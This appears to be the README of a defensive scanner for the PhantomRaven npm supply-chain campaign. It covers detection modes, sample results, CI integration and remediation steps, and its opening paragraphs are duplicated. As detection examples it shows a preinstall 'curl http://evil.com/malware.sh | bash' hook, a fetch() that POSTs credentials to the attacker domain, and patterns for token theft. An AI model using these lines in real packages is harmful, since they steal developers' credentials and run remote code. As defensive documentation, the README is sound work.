π‘οΈ PhantomRaven Hunter
A comprehensive shell-based scanner for detecting PhantomRaven npm supply chain malware and similar threats.
π¨ What is PhantomRaven?
PhantomRaven is a sophisticated npm supply chain attack discovered in October 2025 by Koi Security. The campaign:
- Infected 126 malicious npm packages with over 86,000 downloads
- Stole npm tokens, GitHub credentials, and CI/CD secrets from developers worldwide
- Used Remote Dynamic Dependencies (RDD) to hide malicious code from traditional security scanners
- Remained undetected from August to October 2025
The RDD Technique
Traditional npm packages specify dependencies like:
"dependencies": {
"express": "^4...
π‘οΈ PhantomRaven Hunter
A comprehensive shell-based scanner for detecting PhantomRaven npm supply chain malware and similar threats.
π¨ What is PhantomRaven?
PhantomRaven is a sophisticated npm supply chain attack discovered in October 2025 by Koi Security. The campaign:
- Infected 126 malicious npm packages with over 86,000 downloads
- Stole npm tokens, GitHub credentials, and CI/CD secrets from developers worldwide
- Used Remote Dynamic Dependencies (RDD) to hide malicious code from traditional security scanners
- Remained undetected from August to October 2025
The RDD Technique
Traditional npm packages specify dependencies like:
"dependencies": {
"express": "^4.18.0"
}
PhantomRaven used HTTP URLs instead:
"dependencies": {
"unused-imports": "http://packages.storeartifact.com/npm/unused-imports"
}
When installed, npm fetches the malicious package from the attackerβs server, completely bypassing security scans. The malicious code never appears in the npm registry.
π― Why This Scanner?
Most security tools failed to detect PhantomRaven because:
- β They rely on static analysis of the npm registry
- β They donβt follow HTTP/HTTPS URLs in dependencies
- β They donβt analyze actual package behavior
- β They miss dynamically-fetched payloads
PhantomRaven Hunter catches what others miss by:
- β Detecting Remote Dynamic Dependencies (RDD)
- β Identifying all 126 known malicious packages
- β Analyzing lifecycle scripts for auto-execution
- β Deep-scanning code for credential theft patterns
- β Checking installation timing against attack timeline
- β Smart whitelisting to reduce false positives
π Quick Start
Prerequisites
# Required
sudo apt install jq # Ubuntu/Debian
brew install jq # macOS
# Verify
jq --version
Installation
# Clone the repository
git clone https://github.com/dpr1815/phantomraven-hunter.git
cd phantomraven-hunter
# Make executable
chmod +x phantomraven-hunter.sh
# Run scan
./phantomraven-hunter.sh /path/to/your/projects
Usage Modes
1. Basic Scan (Fast - ~30 seconds)
./phantomraven-hunter.sh ~/projects
Checks for:
- Remote Dynamic Dependencies
- Known malicious packages
- Suspicious lifecycle scripts
- Malicious domain references
2. Deep Scan (Recommended - ~2-3 minutes)
./phantomraven-hunter.sh --deep ~/projects
Additional checks:
- Credential theft patterns in code
- Suspicious network calls
- Environment variable harvesting
- Config file access attempts
3. Paranoid Mode (Maximum - ~5 minutes)
./phantomraven-hunter.sh --paranoid ~/projects
Everything plus:
- Installation timing analysis (Aug-Oct 2025)
- Package integrity verification
- System compromise indicators
- ~/.gitconfig and ~/.npmrc forensics
4. Verbose Mode
./phantomraven-hunter.sh --deep --verbose ~/projects
Shows all findings including whitelisted safe packages.
π Understanding Results
Exit Codes
0= Clean (no threats detected)1= CRITICAL (malware detected - take immediate action)2= WARNING (suspicious indicators found - review carefully)
Example: Clean System β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SCAN RESULTS
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Summary:
ββ Remote Dynamic Dependencies: 0
ββ Known Malicious Packages: 0
ββ Suspicious Lifecycle Scripts: 3
ββ Credential Theft Patterns: 0
ββ Suspicious Network Calls: 0
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β No critical threats detected
Example: Malware Detected π¨
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π¨ CRITICAL: Remote Dynamic Dependencies:
ββββββββββββββββββββββββββββββββββββββββ
[CRITICAL] unused-imports -> http://packages.storeartifact.com/npm/unused-imports
File: project/package.json
Status: KNOWN_MALICIOUS_DOMAIN
π¨ CRITICAL: MALWARE DETECTED!
IMMEDIATE ACTIONS REQUIRED:
1. DO NOT run npm install
2. Disconnect this machine from network
3. Rotate ALL credentials immediately
- GitHub tokens: https://github.com/settings/tokens
- npm tokens: npm token list
- CI/CD secrets
...
π What Gets Scanned
The scanner intelligently searches through:
project/
βββ package.json β RDD & malicious packages
βββ package-lock.json β Timing analysis
βββ node_modules/
β βββ */
β βββ package.json β Scripts & dependencies
β βββ *.js β Deep code analysis (--deep)
βββ ~/.gitconfig β System compromise (--paranoid)
βββ ~/.npmrc β Token exposure (--paranoid)
π Detection Capabilities
1. Remote Dynamic Dependencies (RDD)
The Primary Attack Vector
Detects HTTP/HTTPS URLs in dependencies:
β MALICIOUS
"dependencies": {
"pkg": "http://packages.storeartifact.com/malware.tgz"
}
β
SAFE (GitHub - whitelisted)
"dependencies": {
"test262": "https://github.com/tc39/test262#commit-hash"
}
2. Known Malicious Packages
All 126 packages from the PhantomRaven campaign:
unused-importseslint-commentstransform-react-remove-prop-typescrowdstrike(fake package, not the real security company!)- See full list
3. Lifecycle Script Analysis
Flags suspicious auto-executing scripts:
β οΈ SUSPICIOUS
"scripts": {
"preinstall": "curl http://evil.com/malware.sh | bash"
}
β
SAFE (esbuild - whitelisted)
"scripts": {
"postinstall": "node install.js"
}
4. Credential Theft Patterns (βdeep)
Searches for:
process.env.NPM_TOKENprocess.env.GITHUB_TOKEN.gitconfigfile access.npmrcfile accessCI_environment variables
5. Network Activity (βdeep)
Detects suspicious outbound connections:
β οΈ FLAGGED
fetch('http://packages.storeartifact.com/exfil', {
method: 'POST',
body: JSON.stringify(credentials)
});
6. Timeline Analysis (βparanoid)
Checks if packages were installed during PhantomRavenβs active period:
- August 1, 2025 - October 31, 2025
7. System Forensics (βparanoid)
- Checks
~/.gitconfigmodification time - Validates
~/.npmrcfor exposed tokens - Scans environment for leaked secrets
π οΈ Advanced Usage
Scan Multiple Projects
for dir in ~/projects/*/; do
echo "Scanning $dir"
./phantomraven-hunter.sh --deep "$dir"
done
Save Report to File
./phantomraven-hunter.sh --paranoid ~/projects 2>&1 | tee report.txt
CI/CD Integration
# .github/workflows/security.yml
name: PhantomRaven Scan
on: [push, pull_request]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Install jq
run: sudo apt-get install -y jq
- name: Run PhantomRaven Hunter
run: |
chmod +x phantomraven-hunter.sh
./phantomraven-hunter.sh --deep .
Pre-commit Hook
#!/bin/bash
# .git/hooks/pre-commit
if [ -f "package.json" ]; then
./phantomraven-hunter.sh --deep . || exit 1
fi
π§ͺ Testing
Run Test Suite
cd tests/
./run_tests.sh
π Security Best Practices
If Malware IS Detected
Immediate Isolation
# Disconnect from network
sudo ip link set eth0 down
Check What Was Stolen
cat ~/.gitconfig
cat ~/.npmrc
env | grep TOKEN
Rotate ALL Credentials
- GitHub: https://github.com/settings/tokens
- npm:
npm token list&&npm token revoke <id> - CI/CD: Update all secrets in GitHub Actions, GitLab CI, etc.
Clean Rebuild
# Remove all node_modules
find ~/projects -name "node_modules" -type d -exec rm -rf {} +
# Remove lock files
find ~/projects -name "package-lock.json" -delete
# Reinstall safely
npm install --ignore-scripts
Prevention
# 1. Use lock files with integrity checks
npm ci # instead of npm install
# 2. Disable auto-script execution
echo "ignore-scripts=true" >> ~/.npmrc
# 3. Regular scanning
./phantomraven-hunter.sh --deep ~/projects
# 4. Audit before adding packages
npm audit
npm view <package-name> dependencies
# 5. Verify AI-suggested packages
# Never blindly trust GitHub Copilot or ChatGPT package recommendations
π False Positives
The scanner intelligently whitelists known-safe patterns:
Safe Domains
github.comgitlab.combitbucket.org
Safe Packages with Install Scripts
esbuild- JavaScript bundler@swc/core- TypeScript/JavaScript compilercypress,puppeteer,playwright- Testing frameworkselectron- Desktop app framework
Your Scan Had False Positives?
Example from a real scan:
Package: test262
URL: https://github.com/tc39/test262#commit-hash
Verdict: β SAFE - GitHub reference from official TC39 JavaScript test suite
π€ Contributing
Contributions welcome! Please:
- Fork the repository
- Create a feature branch
- Add tests for new detections
- Submit a pull request
Adding New Malware Signatures
Edit the arrays in phantomraven-hunter.sh:
MALICIOUS_DOMAINS=(
"packages.storeartifact.com"
"your-new-domain.com" # Add here
)
MALICIOUS_PACKAGES=(
"unused-imports"
"your-new-package" # Add here
)
π Resources
βοΈ License
MIT License - See LICENSE file
β οΈ Disclaimer
This tool is provided for defensive security purposes only. Use responsibly and in accordance with applicable laws and regulations. The authors are not responsible for misuse or damage caused by this tool.
π Credits
- Koi Security - For discovering PhantomRaven and publishing detailed IOCs
- Oren Yomtov - Lead researcher on the PhantomRaven campaign
- npm Security Team - For rapid response in removing malicious packages
- Open Source Community - For maintaining secure package ecosystems
π Support
- Issues: GitHub Issues
- Security: Report vulnerabilities privately to [security@email.com]
Stay safe! Scan often. Trust but verify. π‘οΈ
Last updated: November 2025